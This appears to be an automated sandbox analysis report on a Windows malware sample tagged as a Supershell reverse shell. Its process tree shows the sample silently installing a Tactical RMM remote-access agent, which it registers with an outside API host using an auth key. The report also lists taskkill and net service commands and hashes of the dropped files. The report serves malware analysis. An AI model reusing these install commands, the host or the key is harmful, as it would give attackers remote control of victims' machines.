Analysis

  • max time kernel
    150s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/10/2026, 12:43

General

  • Target
    2026-09-30_6c0836a45f9fbd1c6873bf0f9a1b7dfe_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
  • Size 5.0MB
  • Sample261001-pydpyaythv
  • SHA256 77322c0efc7fa8ea3c81a796927cd7d766e453fefd4704681a843e1f39f89638
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Supershell

    Supershell is a cross-platfrom reverse shell written in Golang.

  • Executes dropped EXE 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 6 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

  • Kills process with taskkill 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-30_6c0836a45f9fbd1c6873bf0f9a1b7dfe_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-30_6c0836a45f9fbd1c6873bf0f9a1b7dfe_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"
    1⤵
    • Modifies trusted root certificate store through registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe
      C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe /VERYSILENT /SUPPRESSMSGBOXES
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5572
      • C:\Users\Admin\AppData\Local\Temp\is-Q4F8I.tmp\tacticalagent-v2.11.0-windows-amd64.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-Q4F8I.tmp\tacticalagent-v2.11.0-windows-amd64.tmp" /SL5="$1A0018,4211567,861184,C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:5916
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:1200
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 2
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1604
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1984
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:456
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c taskkill /F /IM tacticalrmm.exe
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3872
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /F /IM tacticalrmm.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:460
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c tacticalrmm.exe -m installsvc
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2276
          • C:\Program Files\TacticalAgent\tacticalrmm.exe
            tacticalrmm.exe -m installsvc
            5⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:296
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c net start tacticalrmm
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4904
          • C:\Windows\SysWOW64\net.exe
            net start tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5716
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 start tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:4092
    • C:\Program Files\TacticalAgent\tacticalrmm.exe
      "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://api.hospitalsantajulia.com.br --client-id 1 --site-id 1 --agent-type workstation --auth 448736fddf51db7406f17edaf1da14f9bc0d8c6d4eed6c7aec5011fbf882d79f -ping
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Reads the TCP/IP host and domain name from the registry
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3672

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        tacticalrmm.exe

        • Path C:\Program Files\TacticalAgent\tacticalrmm.exe
        • Size 11.7MB
        • SHA256 920f59baa49244152f72495a6bab0f801621ef8ae44d73654e7af26bb8abe57e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        tacticalagent-v2.11.0-windows-amd64.exe

        • Path C:\ProgramData\TacticalRMM\tacticalagent-v2.11.0-windows-amd64.exe
        • Size 5.0MB
        • SHA256 c685032015152dd6f91b5ec2036e2da240a190911b87b1f7fdeba1440070c37d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        tacticalagent-v2.11.0-windows-amd64.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\is-Q4F8I.tmp\tacticalagent-v2.11.0-windows-amd64.tmp
        • Size 3.4MB
        • SHA256 4e50d7fcd52abdf13c2159b53b6a4fa7c6483c3eaebf3bf792db129e6fd80e73
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/5572-5-0x0000000000F60000-0x0000000001042000-memory.dmp

        memory/5572-24-0x0000000000F60000-0x0000000001042000-memory.dmp

        memory/5916-12-0x0000000002F70000-0x0000000002F71000-memory.dmp

        memory/5916-23-0x00000000008F0000-0x0000000000C5E000-memory.dmp